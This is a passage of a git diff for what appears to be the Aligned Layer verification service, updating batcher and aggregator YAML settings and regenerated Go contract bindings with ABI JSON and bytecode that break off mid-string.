pre_verification_is_enabled: true ## Aggregator Configurations @@ -38,6 +37,11 @@ aggregator: garbage_collector_period: 2m #The period of the GC process. Suggested value for Prod: '168h' (7 days) garbage_collector_tasks_age: 20 #The age of tasks that will be removed by the GC, in blocks. Suggested value for prod: '216000' (30 days) garbage_collector_tasks_interval: 10 #The interval of queried blocks to get an old batch. Suggested value for prod: '900' (3 hours) + bls_service_task_timeout: 168h # The timeout of bls aggregation service tasks. Suggested value for prod '168h' (7 days) + gas_base_bump_percentage: 25 # Percentage to overestimate gas price when sending a task + gas_bump_incremental_percentage: 20 # An extra percentage to overestimate in each bump of respond to task. This is additive between tries + # Gas used formula = est_gas_by_node * (gas_base_bump_percentage + gas_bum_incremental_percentage * i) / 100, where i is the iteration number. + time_to_wait_before_bump: 72s # The time to wait for the receipt when responding to task. Suggested value 72 seconds (6 blocks) ## Operator Configurations # operator: diff --git a/config-files/config-batcher-docker.yaml b/config-files/config-batcher-docker.yaml index 216cb8eee..e9c8f7d5c 100644 --- a/config-files/config-batcher-docker.yaml +++ b/config-files/config-batcher-docker.yaml @@ -18,11 +18,14 @@ ecdsa: batcher: block_interval: 3 batch_size_interval: 10 + transaction_wait_timeout: 36000 # 3 blocks max_proof_size: 67108864 # 64 MiB - max_batch_size: 268435456 # 256 MiB + max_batch_byte_size: 268435456 # 256 MiB + max_batch_proof_qty: 3000 # 3000 proofs in a batch eth_ws_reconnects: 99999999999999 pre_verification_is_enabled: true metrics_port: 9093 + telemetry_ip_port_address: localhost:4001 non_paying: address: 0xa0Ee7A142d267C1f36714E4a8F75612F20a79720 # Anvil address 9 replacement_private_key: ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 # Anvil address 1 diff --git a/config-files/config-batcher.yaml b/config-files/config-batcher.yaml index 6a6273e02..6d47bd7d5 100644 --- a/config-files/config-batcher.yaml +++ b/config-files/config-batcher.yaml @@ -18,11 +18,13 @@ ecdsa: batcher: block_interval: 3 batch_size_interval: 10 + transaction_wait_timeout: 36000 # 3 blocks max_proof_size: 67108864 # 64 MiB - max_batch_size: 268435456 # 256 MiB - eth_ws_reconnects: 99999999999999 + max_batch_byte_size: 268435456 # 256 MiB + max_batch_proof_qty: 3000 # 3000 proofs in a batch pre_verification_is_enabled: true metrics_port: 9093 + telemetry_ip_port_address: localhost:4001 non_paying: address: 0xa0Ee7A142d267C1f36714E4a8F75612F20a79720 # Anvil address 9 replacement_private_key: ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 # Anvil address 1 diff --git a/config-files/config-docker.yaml b/config-files/config-docker.yaml index 712edf11c..18c7be892 100644 --- a/config-files/config-docker.yaml +++ b/config-files/config-docker.yaml @@ -24,7 +24,7 @@ batcher: block_interval: 3 batch_size_interval: 10 max_proof_size: 67108864 # 64 MiB - max_batch_size: 268435456 # 256 MiB + max_batch_byte_size: 268435456 # 256 MiB eth_ws_reconnects: 99999999999999 pre_verification_is_enabled: true @@ -47,7 +47,7 @@ operator: metadata_url: "https://yetanotherco.github.io/operator_metadata/metadata.json" enable_metrics: true metrics_ip_port_address: localhost:9092 - max_batch_size: 268435456 # 256 MiB + max_batch_byte_size: 268435456 # 256 MiB last_processed_batch_filepath: config-files/operator.last_processed_batch.json # Operators variables needed for register it in EigenLayer el_delegation_manager_address: "0xCf7Ed3AccA5a467e9e704C703E8D87F634fB0Fc9" diff --git a/config-files/config.yaml b/config-files/config.yaml index 0af66f176..3f53d6617 100644 --- a/config-files/config.yaml +++ b/config-files/config.yaml @@ -24,8 +24,7 @@ batcher: block_interval: 3 batch_size_interval: 10 max_proof_size: 67108864 # 64 MiB - max_batch_size: 268435456 # 256 MiB - eth_ws_reconnects: 99999999999999 + max_batch_byte_size: 268435456 # 256 MiB pre_verification_is_enabled: true metrics_port: 9093 @@ -36,6 +35,7 @@ aggregator: avs_service_manager_address: 0xc3e53F4d16Ae77Db1c982e75a937B9f60FE63690 enable_metrics: true metrics_ip_port_address: localhost:9091 + bls_service_task_timeout: 168h # The timeout of bls aggregation service tasks. Suggested value for prod '168h' (7 days) ## Operator Configurations operator: diff --git a/contracts/bindings/AlignedLayerServiceManager/binding.go b/contracts/bindings/AlignedLayerServiceManager/binding.go index 11d3c7133..0ffd16df8 100644 --- a/contracts/bindings/AlignedLayerServiceManager/binding.go +++ b/contracts/bindings/AlignedLayerServiceManager/binding.go @@ -83,8 +83,8 @@ type ISignatureUtilsSignatureWithSaltAndExpiry struct { // ContractAlignedLayerServiceManagerMetaData contains all meta data concerning the ContractAlignedLayerServiceManager contract. var ContractAlignedLayerServiceManagerMetaData = &bind.MetaData{ - ABI: "[{\"type\":\"constructor\",\"inputs\":[{\"name\":\"__avsDirectory\",\"type\":\"address\",\"internalType\":\"contractIAVSDirectory\"},{\"name\":\"__rewardsCoordinator\",\"type\":\"address\",\"internalType\":\"contractIRewardsCoordinator\"},{\"name\":\"__registryCoordinator\",\"type\":\"address\",\"internalType\":\"contractIRegistryCoordinator\"},{\"name\":\"__stakeRegistry\",\"type\":\"address\",\"internalType\":\"contractIStakeRegistry\"}],\"stateMutability\":\"nonpayable\"},{\"type\":\"receive\",\"stateMutability\":\"payable\"},{\"type\":\"function\",\"name\":\"alignedAggregator\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"address\",\"internalType\":\"address\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"avsDirectory\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"address\",\"internalType\":\"address\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"balanceOf\",\"inputs\":[{\"name\":\"account\",\"type\":\"address\",\"internalType\":\"address\"}],\"outputs\":[{\"name\":\"\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"batchersBalances\",\"inputs\":[{\"name\":\"\",\"type\":\"address\",\"internalType\":\"address\"}],\"outputs\":[{\"name\":\"\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"batchesState\",\"inputs\":[{\"name\":\"\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"}],\"outputs\":[{\"name\":\"taskCreatedBlock\",\"type\":\"uint32\",\"internalType\":\"uint32\"},{\"name\":\"responded\",\"type\":\"bool\",\"internalType\":\"bool\"},{\"name\":\"respondToTaskFeeLimit\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"blsApkRegistry\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"address\",\"internalType\":\"contractIBLSApkRegistry\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"checkPublicInput\",\"inputs\":[{\"name\":\"publicInput\",\"type\":\"bytes\",\"internalType\":\"bytes\"},{\"name\":\"hash\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"}],\"outputs\":[{\"name\":\"\",\"type\":\"bool\",\"internalType\":\"bool\"}],\"stateMutability\":\"pure\"},{\"type\":\"function\",\"name\":\"checkSignatures\",\"inputs\":[{\"name\":\"msgHash\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"referenceBlockNumber\",\"type\":\"uint32\",\"internalType\":\"uint32\"},{\"name\":\"params\",\"type\":\"tuple\",\"internalType\":\"structIBLSSignatureChecker.NonSignerStakesAndSignature\",\"components\":[{\"name\":\"nonSignerQuorumBitmapIndices\",\"type\":\"uint32[]\",\"internalType\":\"uint32[]\"},{\"name\":\"nonSignerPubkeys\",\"type\":\"tuple[]\",\"internalType\":\"structBN254.G1Point[]\",\"components\":[{\"name\":\"X\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"Y\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]},{\"name\":\"quorumApks\",\"type\":\"tuple[]\",\"internalType\":\"structBN254.G1Point[]\",\"components\":[{\"name\":\"X\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"Y\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]},{\"name\":\"apkG2\",\"type\":\"tuple\",\"internalType\":\"structBN254.G2Point\",\"components\":[{\"name\":\"X\",\"type\":\"uint256[2]\",\"internalType\":\"uint256[2]\"},{\"name\":\"Y\",\"type\":\"uint256[2]\",\"internalType\":\"uint256[2]\"}]},{\"name\":\"sigma\",\"type\":\"tuple\",\"internalType\":\"structBN254.G1Point\",\"components\":[{\"name\":\"X\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"Y\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]},{\"name\":\"quorumApkIndices\",\"type\":\"uint32[]\",\"internalType\":\"uint32[]\"},{\"name\":\"totalStakeIndices\",\"type\":\"uint32[]\",\"internalType\":\"uint32[]\"},{\"name\":\"nonSignerStakeIndices\",\"type\":\"uint32[][]\",\"internalType\":\"uint32[][]\"}]}],\"outputs\":[{\"name\":\"\",\"type\":\"tuple\",\"internalType\":\"structIBLSSignatureChecker.QuorumStakeTotals\",\"components\":[{\"name\":\"signedStakeForQuorum\",\"type\":\"uint96[]\",\"internalType\":\"uint96[]\"},{\"name\":\"totalStakeForQuorum\",\"type\":\"uint96[]\",\"internalType\":\"uint96[]\"}]},{\"name\":\"\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"createAVSRewardsSubmission\",\"inputs\":[{\"name\":\"rewardsSubmissions\",\"type\":\"tuple[]\",\"internalType\":\"structIRewardsCoordinator.RewardsSubmission[]\",\"components\":[{\"name\":\"strategiesAndMultipliers\",\"type\":\"tuple[]\",\"internalType\":\"structIRewardsCoordinator.StrategyAndMultiplier[]\",\"components\":[{\"name\":\"strategy\",\"type\":\"address\",\"internalType\":\"contractIStrategy\"},{\"name\":\"multiplier\",\"type\":\"uint96\",\"internalType\":\"uint96\"}]},{\"name\":\"token\",\"type\":\"address\",\"internalType\":\"contractIERC20\"},{\"name\":\"amount\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"startTimestamp\",\"type\":\"uint32\",\"internalType\":\"uint32\"},{\"name\":\"duration\",\"type\":\"uint32\",\"internalType\":\"uint32\"}]}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"createNewTask\",\"inputs\":[{\"name\":\"batchMerkleRoot\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"batchDataPointer\",\"type\":\"string\",\"internalType\":\"string\"},{\"name\":\"respondToTaskFeeLimit\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"outputs\":[],\"stateMutability\":\"payable\"},{\"type\":\"function\",\"name\":\"delegation\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"address\",\"internalType\":\"contractIDelegationManager\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"depositToBatcher\",\"inputs\":[{\"name\":\"account\",\"type\":\"address\",\"internalType\":\"address\"}],\"outputs\":[],\"stateMutability\":\"payable\"},{\"type\":\"function\",\"name\":\"deregisterOperatorFromAVS\",\"inputs\":[{\"name\":\"operator\",\"type\":\"address\",\"internalType\":\"address\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"disableVerifier\",\"inputs\":[{\"name\":\"verifierIdx\",\"type\":\"uint8\",\"internalType\":\"uint8\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"disabledVerifiers\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"enableVerifier\",\"inputs\":[{\"name\":\"verifierIdx\",\"type\":\"uint8\",\"internalType\":\"uint8\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"getOperatorRestakedStrategies\",\"inputs\":[{\"name\":\"operator\",\"type\":\"address\",\"internalType\":\"address\"}],\"outputs\":[{\"name\":\"\",\"type\":\"address[]\",\"internalType\":\"address[]\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"getRestakeableStrategies\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"address[]\",\"internalType\":\"address[]\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"initialize\",\"inputs\":[{\"name\":\"_initialOwner\",\"type\":\"address\",\"internalType\":\"address\"},{\"name\":\"_rewardsInitiator\",\"type\":\"address\",\"internalType\":\"address\"},{\"name\":\"_alignedAggregator\",\"type\":\"address\",\"internalType\":\"address\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"initializeAggregator\",\"inputs\":[{\"name\":\"_alignedAggregator\",\"type\":\"address\",\"internalType\":\"address\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"isVerifierDisabled\",\"inputs\":[{\"name\":\"verifierIdx\",\"type\":\"uint8\",\"internalType\":\"uint8\"}],\"outputs\":[{\"name\":\"\",\"type\":\"bool\",\"internalType\":\"bool\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"owner\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"address\",\"internalType\":\"address\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"registerOperatorToAVS\",\"inputs\":[{\"name\":\"operator\",\"type\":\"address\",\"internalType\":\"address\"},{\"name\":\"operatorSignature\",\"type\":\"tuple\",\"internalType\":\"structISignatureUtils.SignatureWithSaltAndExpiry\",\"components\":[{\"name\":\"signature\",\"type\":\"bytes\",\"internalType\":\"bytes\"},{\"name\":\"salt\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"expiry\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"registryCoordinator\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"address\",\"internalType\":\"contractIRegistryCoordinator\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"renounceOwnership\",\"inputs\":[],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"respondToTaskV2\",\"inputs\":[{\"name\":\"batchMerkleRoot\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"senderAddress\",\"type\":\"address\",\"internalType\":\"address\"},{\"name\":\"nonSignerStakesAndSignature\",\"type\":\"tuple\",\"internalType\":\"structIBLSSignatureChecker.NonSignerStakesAndSignature\",\"components\":[{\"name\":\"nonSignerQuorumBitmapIndices\",\"type\":\"uint32[]\",\"internalType\":\"uint32[]\"},{\"name\":\"nonSignerPubkeys\",\"type\":\"tuple[]\",\"internalType\":\"structBN254.G1Point[]\",\"components\":[{\"name\":\"X\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"Y\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]},{\"name\":\"quorumApks\",\"type\":\"tuple[]\",\"internalType\":\"structBN254.G1Point[]\",\"components\":[{\"name\":\"X\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"Y\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]},{\"name\":\"apkG2\",\"type\":\"tuple\",\"internalType\":\"structBN254.G2Point\",\"components\":[{\"name\":\"X\",\"type\":\"uint256[2]\",\"internalType\":\"uint256[2]\"},{\"name\":\"Y\",\"type\":\"uint256[2]\",\"internalType\":\"uint256[2]\"}]},{\"name\":\"sigma\",\"type\":\"tuple\",\"internalType\":\"structBN254.G1Point\",\"components\":[{\"name\":\"X\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"Y\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]},{\"name\":\"quorumApkIndices\",\"type\":\"uint32[]\",\"internalType\":\"uint32[]\"},{\"name\":\"totalStakeIndices\",\"type\":\"uint32[]\",\"internalType\":\"uint32[]\"},{\"name\":\"nonSignerStakeIndices\",\"type\":\"uint32[][]\",\"internalType\":\"uint32[][]\"}]}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"rewardsInitiator\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"address\",\"internalType\":\"address\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"setAggregator\",\"inputs\":[{\"name\":\"_alignedAggregator\",\"type\":\"address\",\"internalType\":\"address\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"setDisabledVerifiers\",\"inputs\":[{\"name\":\"bitmap\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"setRewardsInitiator\",\"inputs\":[{\"name\":\"newRewardsInitiator\",\"type\":\"address\",\"internalType\":\"address\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"setStaleStakesForbidden\",\"inputs\":[{\"name\":\"value\",\"type\":\"bool\",\"internalType\":\"bool\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"stakeRegistry\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"address\",\"internalType\":\"contractIStakeRegistry\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"staleStakesForbidden\",\"inputs\":[],\"outputs\":[{\"name\":\"\",\"type\":\"bool\",\"internalType\":\"bool\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"transferOwnership\",\"inputs\":[{\"name\":\"newOwner\",\"type\":\"address\",\"internalType\":\"address\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"trySignatureAndApkVerification\",\"inputs\":[{\"name\":\"msgHash\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"apk\",\"type\":\"tuple\",\"internalType\":\"structBN254.G1Point\",\"components\":[{\"name\":\"X\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"Y\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]},{\"name\":\"apkG2\",\"type\":\"tuple\",\"internalType\":\"structBN254.G2Point\",\"components\":[{\"name\":\"X\",\"type\":\"uint256[2]\",\"internalType\":\"uint256[2]\"},{\"name\":\"Y\",\"type\":\"uint256[2]\",\"internalType\":\"uint256[2]\"}]},{\"name\":\"sigma\",\"type\":\"tuple\",\"internalType\":\"structBN254.G1Point\",\"components\":[{\"name\":\"X\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"Y\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]}],\"outputs\":[{\"name\":\"pairingSuccessful\",\"type\":\"bool\",\"internalType\":\"bool\"},{\"name\":\"siganatureIsValid\",\"type\":\"bool\",\"internalType\":\"bool\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"updateAVSMetadataURI\",\"inputs\":[{\"name\":\"_metadataURI\",\"type\":\"string\",\"internalType\":\"string\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"function\",\"name\":\"verifyBatchInclusion\",\"inputs\":[{\"name\":\"proofCommitment\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"pubInputCommitment\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"provingSystemAuxDataCommitment\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"proofGeneratorAddr\",\"type\":\"bytes20\",\"internalType\":\"bytes20\"},{\"name\":\"batchMerkleRoot\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"merkleProof\",\"type\":\"bytes\",\"internalType\":\"bytes\"},{\"name\":\"verificationDataBatchIndex\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"senderAddress\",\"type\":\"address\",\"internalType\":\"address\"}],\"outputs\":[{\"name\":\"\",\"type\":\"bool\",\"internalType\":\"bool\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"verifyBatchInclusion\",\"inputs\":[{\"name\":\"proofCommitment\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"pubInputCommitment\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"provingSystemAuxDataCommitment\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"proofGeneratorAddr\",\"type\":\"bytes20\",\"internalType\":\"bytes20\"},{\"name\":\"batchMerkleRoot\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"},{\"name\":\"merkleProof\",\"type\":\"bytes\",\"internalType\":\"bytes\"},{\"name\":\"verificationDataBatchIndex\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"outputs\":[{\"name\":\"\",\"type\":\"bool\",\"internalType\":\"bool\"}],\"stateMutability\":\"view\"},{\"type\":\"function\",\"name\":\"withdraw\",\"inputs\":[{\"name\":\"amount\",\"type\":\"uint256\",\"internalType\":\"uint256\"}],\"outputs\":[],\"stateMutability\":\"nonpayable\"},{\"type\":\"event\",\"name\":\"BatchVerified\",\"inputs\":[{\"name\":\"batchMerkleRoot\",\"type\":\"bytes32\",\"indexed\":true,\"internalType\":\"bytes32\"},{\"name\":\"senderAddress\",\"type\":\"address\",\"indexed\":false,\"internalType\":\"address\"}],\"anonymous\":false},{\"type\":\"event\",\"name\":\"BatcherBalanceUpdated\",\"inputs\":[{\"name\":\"batcher\",\"type\":\"address\",\"indexed\":true,\"internalType\":\"address\"},{\"name\":\"newBalance\",\"type\":\"uint256\",\"indexed\":false,\"internalType\":\"uint256\"}],\"anonymous\":false},{\"type\":\"event\",\"name\":\"Initialized\",\"inputs\":[{\"name\":\"version\",\"type\":\"uint8\",\"indexed\":false,\"internalType\":\"uint8\"}],\"anonymous\":false},{\"type\":\"event\",\"name\":\"NewBatchV2\",\"inputs\":[{\"name\":\"batchMerkleRoot\",\"type\":\"bytes32\",\"indexed\":true,\"internalType\":\"bytes32\"},{\"name\":\"senderAddress\",\"type\":\"address\",\"indexed\":false,\"internalType\":\"address\"},{\"name\":\"taskCreatedBlock\",\"type\":\"uint32\",\"indexed\":false,\"internalType\":\"uint32\"},{\"name\":\"batchDataPointer\",\"type\":\"string\",\"indexed\":false,\"internalType\":\"string\"}],\"anonymous\":false},{\"type\":\"event\",\"name\":\"NewBatchV3\",\"inputs\":[{\"name\":\"batchMerkleRoot\",\"type\":\"bytes32\",\"indexed\":true,\"internalType\":\"bytes32\"},{\"name\":\"senderAddress\",\"type\":\"address\",\"indexed\":false,\"internalType\":\"address\"},{\"name\":\"taskCreatedBlock\",\"type\":\"uint32\",\"indexed\":false,\"internalType\":\"uint32\"},{\"name\":\"batchDataPointer\",\"type\":\"string\",\"indexed\":false,\"internalType\":\"string\"},{\"name\":\"respondToTaskFeeLimit\",\"type\":\"uint256\",\"indexed\":false,\"internalType\":\"uint256\"}],\"anonymous\":false},{\"type\":\"event\",\"name\":\"OwnershipTransferred\",\"inputs\":[{\"name\":\"previousOwner\",\"type\":\"address\",\"indexed\":true,\"internalType\":\"address\"},{\"name\":\"newOwner\",\"type\":\"address\",\"indexed\":true,\"internalType\":\"address\"}],\"anonymous\":false},{\"type\":\"event\",\"name\":\"RewardsInitiatorUpdated\",\"inputs\":[{\"name\":\"prevRewardsInitiator\",\"type\":\"address\",\"indexed\":false,\"internalType\":\"address\"},{\"name\":\"newRewardsInitiator\",\"type\":\"address\",\"indexed\":false,\"internalType\":\"address\"}],\"anonymous\":false},{\"type\":\"event\",\"name\":\"StaleStakesForbiddenUpdate\",\"inputs\":[{\"name\":\"value\",\"type\":\"bool\",\"indexed\":false,\"internalType\":\"bool\"}],\"anonymous\":false},{\"type\":\"event\",\"name\":\"VerifierDisabled\",\"inputs\":[{\"name\":\"verifierIdx\",\"type\":\"uint8\",\"indexed\":true,\"internalType\":\"uint8\"}],\"anonymous\":false},{\"type\":\"event\",\"name\":\"VerifierEnabled\",\"inputs\":[{\"name\":\"verifierIdx\",\"type\":\"uint8\",\"indexed\":true,\"internalType\":\"uint8\"}],\"anonymous\":false},{\"type\":\"error\",\"name\":\"BatchAlreadyResponded\",\"inputs\":[{\"name\":\"batchIdentifierHash\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"}]},{\"type\":\"error\",\"name\":\"BatchAlreadySubmitted\",\"inputs\":[{\"name\":\"batchIdentifierHash\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"}]},{\"type\":\"error\",\"name\":\"BatchDoesNotExist\",\"inputs\":[{\"name\":\"batchIdentifierHash\",\"type\":\"bytes32\",\"internalType\":\"bytes32\"}]},{\"type\":\"error\",\"name\":\"ExceededMaxRespondFee\",\"inputs\":[{\"name\":\"respondToTaskFeeLimit\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"txCost\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]},{\"type\":\"error\",\"name\":\"InsufficientFunds\",\"inputs\":[{\"name\":\"batcher\",\"type\":\"address\",\"internalType\":\"address\"},{\"name\":\"required\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"available\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]},{\"type\":\"error\",\"name\":\"InvalidAddress\",\"inputs\":[{\"name\":\"param\",\"type\":\"string\",\"internalType\":\"string\"}]},{\"type\":\"error\",\"name\":\"InvalidDepositAmount\",\"inputs\":[{\"name\":\"amount\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]},{\"type\":\"error\",\"name\":\"InvalidQuorumThreshold\",\"inputs\":[{\"name\":\"signedStake\",\"type\":\"uint256\",\"internalType\":\"uint256\"},{\"name\":\"requiredStake\",\"type\":\"uint256\",\"internalType\":\"uint256\"}]},{\"type\":\"error\",\"name\":\"SenderIsNotAggregator\",\"inputs\":[{\"name\":\"sender\",\"type\":\"address\",\"internalType\":\"address\"},{\"name\":\"alignedAggregator\",\"type\":\"address\",\"internalType\":\"address\"}]}]", - Bin: "0x61018060405234801561001157600080fd5b506040516159d23803806159d2833981016040819052610030916103fb565b6001600160a01b0380851660805280841660a05280831660c052811660e052818484828461005c610327565b50505050806001600160a01b0316610100816001600160a01b031681525050806001600160a01b031663683048356040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100dd919061045a565b6001600160a01b0316610120816001600160a01b031681525050806001600160a01b0316635df459466040518163ffffffff1660e01b8152600401602060405180830381865afa158015610135573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610159919061045a565b6001600160a01b0316610140816001600160a01b031681525050610120516001600160a01b031663df5cf7236040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101d8919061045a565b6001600160a01b03908116610160528516905061022c57604051630b0f5aa160e11b815260206004820152600c60248201526b6176734469726563746f727960a01b60448201526064015b60405180910390fd5b6001600160a01b03831661027857604051630b0f5aa160e11b81526020600482015260126024820152713932bbb0b93239a1b7b7b93234b730ba37b960711b6044820152606401610223565b6001600160a01b0382166102cf57604051630b0f5aa160e11b815260206004820152601360248201527f7265676973747279436f6f7264696e61746f72000000000000000000000000006044820152606401610223565b6001600160a01b03811661031657604051630b0f5aa160e11b815260206004820152600d60248201526c7374616b65526567697374727960981b6044820152606401610223565b61031e610327565b5050505061047e565b600054610100900460ff161561038f5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b6064820152608401610223565b60005460ff90811610156103e1576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b03811681146103f857600080fd5b50565b6000806000806080858703121561041157600080fd5b845161041c816103e3565b602086015190945061042d816103e3565b604086015190935061043e816103e3565b606086015190925061044f816103e3565b939692955090935050565b60006020828403121561046c57600080fd5b8151610477816103e3565b9392505050565b60805160a05160c05160e0516101005161012051610140516101605161544761058b600039600081816106fa015261190101526000818161041d0152611b1401526000818161045101528181611d010152611ef10152600081816104b801528181611133015281816115c70152818161176e01526119b5015260008181610e6801528181610fb90152818161105001528181612c7c01528181612df50152612e94015260008181610c8f01528181610d1e01528181610d9e0152818161228a0152818161235601528181612bb70152612d5001526000818161324b0152818161330701526133ea015260008181610482015281816122de015281816123b2015261243101526154476000f3fe6080604052600436106102345760003560e01c806395c6d6041161012e578063df5cf723116100ab578063f9120af61161006f578063f9120af614610794578063fa534dc0146107b4578063fc299dee146107d4578063fce36c7d146107f4578063fd4c3b7c1461081457600080fd5b8063df5cf723146106e8578063e481af9d1461071c578063ea5ca34b14610731578063f2fde38b14610747578063f474b5201461076757600080fd5b8063b099627e116100f2578063b099627e14610611578063b753645e1461067b578063b98d09081461069b578063c0c53b8b146106b5578063d66eaabd146106d557600080fd5b806395c6d604146105715780639926ee7d14610591578063a364f4da146105b1578063a98fb355146105d1578063ab21739a146105f157600080fd5b80634a5bf632116101bc5780636d14a987116101805780636d14a987146104a657806370a08231146104da578063715018a61461051e578063800fb61f146105335780638da5cb5b1461055357600080fd5b80634a5bf632146103a55780634ae07c37146103dd5780635df459461461040b578063683048351461043f5780636b3aa72e1461047357600080fd5b80632e1a7d4d116102035780632e1a7d4d1461030557806333cfb7b7146103255780633bc28c8c14610352578063416c7e5e146103725780634223d5511461039257600080fd5b806306045a911461024a578063137122b51